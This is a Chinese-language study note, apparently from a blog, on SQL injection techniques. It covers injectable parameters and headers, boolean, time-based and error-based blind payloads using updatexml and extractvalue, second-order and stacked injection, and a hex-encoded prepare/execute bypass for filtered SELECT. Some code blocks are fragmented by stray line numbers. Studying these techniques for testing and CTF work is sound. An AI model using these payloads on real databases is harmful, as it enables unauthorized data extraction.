数据请求类型

大致就是以下四种
1、数字型(无符号干扰)

1
select * from news where id=$id;

2、字符型(有符号干扰)

1
select * from news where id='$id';

3、搜索型(有多符号干扰)

1
select * from news where id like '%$id%'

4、框架型(有各种符号干扰)

1
2
select * from news where id=('$id');
select * from news where (id='$id');

请求方式

通过功能点来判断注入点,请求方式有以下几种
全局变量方法:GET POST SERVER FILES HTTP 头等
User-Agent: 使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记 录客户使用的操作系统或浏览器版本等存入数据库中) Cookie: 网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据
X-Forwarded-For:简称 XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件—通过修改 XXF 头可以实现伪造 IP).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的. Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号
以上都有可能是注入点
同时还可能在功能点:增删改查
1、功能:数据查询 查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等 增加:INSERT INTO news (字段名) VALUES (数据) 3、功能:删除用户,删除新闻等 删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等 修改:UPDATE news SET id=$id

一般都是黑盒发现这些漏洞,实战都是sqlmap扫

盲注(适用于具体数据不回显的情况)

逻辑判断—布尔盲注(页面要有回显作为判断条件)

通常用到这些操作符或者函数

1
regexp,like,ascii,left,ord,mid

示例注入语句:

1
2
3
4
5
6
length(database())=7; 
left(database(),1)='p';
left(database(),2)='pi';
substr(database(),1,1)='p';
substr(database(),2,1)='i';
ord(left(database(),1))=112;

参考:

1
regexp '^a[a-z]'  #匹配a或者a.... 
1
if(条件,5, 0)   #成立,返回5,反之,返回0
1
2
3
mid(a,b,c)   #从位置b开始,截取a字符串的c位
```

substr (a,b,c) #从位置b开始,截取字符串a的c长度

1
2
3

`substr()`和`mid()`的功能在 MySQL 中两者相同,但是`substr()`是跨数据库的标准函数,灵活且兼容性强,一般优先采用`substr()`

left(database(),1) #从database()的结果的左侧截取1位

1

length(database())=8 #判断数据库database()名的长度

1

ord(x)=97或者ascii(x)=97 #判断x的ascii码是否等于97

1
2

## 延时判断—延时盲注(不需要有任何回显,只要有延时,说明数据匹配上了)

sleep(1);

1

if(1>2,sleep(1),0);

1
2
3
4
## 基于报错信息—报错注入(需要有报错信息显示)  

```sql
updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
1
extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

二次注入(黑盒一般测不出来,基本都是靠白盒)

有个很重要的前提,在目标网站源码插入数据时中有转义,否则攻击语句会失效,导致注入的整个语句报错,无法执行
然后后续会能利用到插入的数据才行

堆叠注入

这属于是代码层面的漏洞,是由于某些函数能够支持执行多条sql语句才导致的漏洞
(如php中的mysqli_multi_query()),其次数据库也要能支持多条语句执行,并且waf或者代码未过滤;

关键字过滤的绕过

select被过滤

堆叠注入中

可以通过变量传参,然后执行变量的方式来绕过
如:

1
';select flag from `1919810931114514`;

这个语句被过滤了,可以先把这个语句中我们实际构造的部分

1
2
3
select flag from `1919810931114514`
```
转换为16进制字符串

73656c65637420666c61672066726f6d20603139313938313039333131313435313460

1
然后构造这样的语句(十六进制字符串前要加0x作为前缀)  

set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;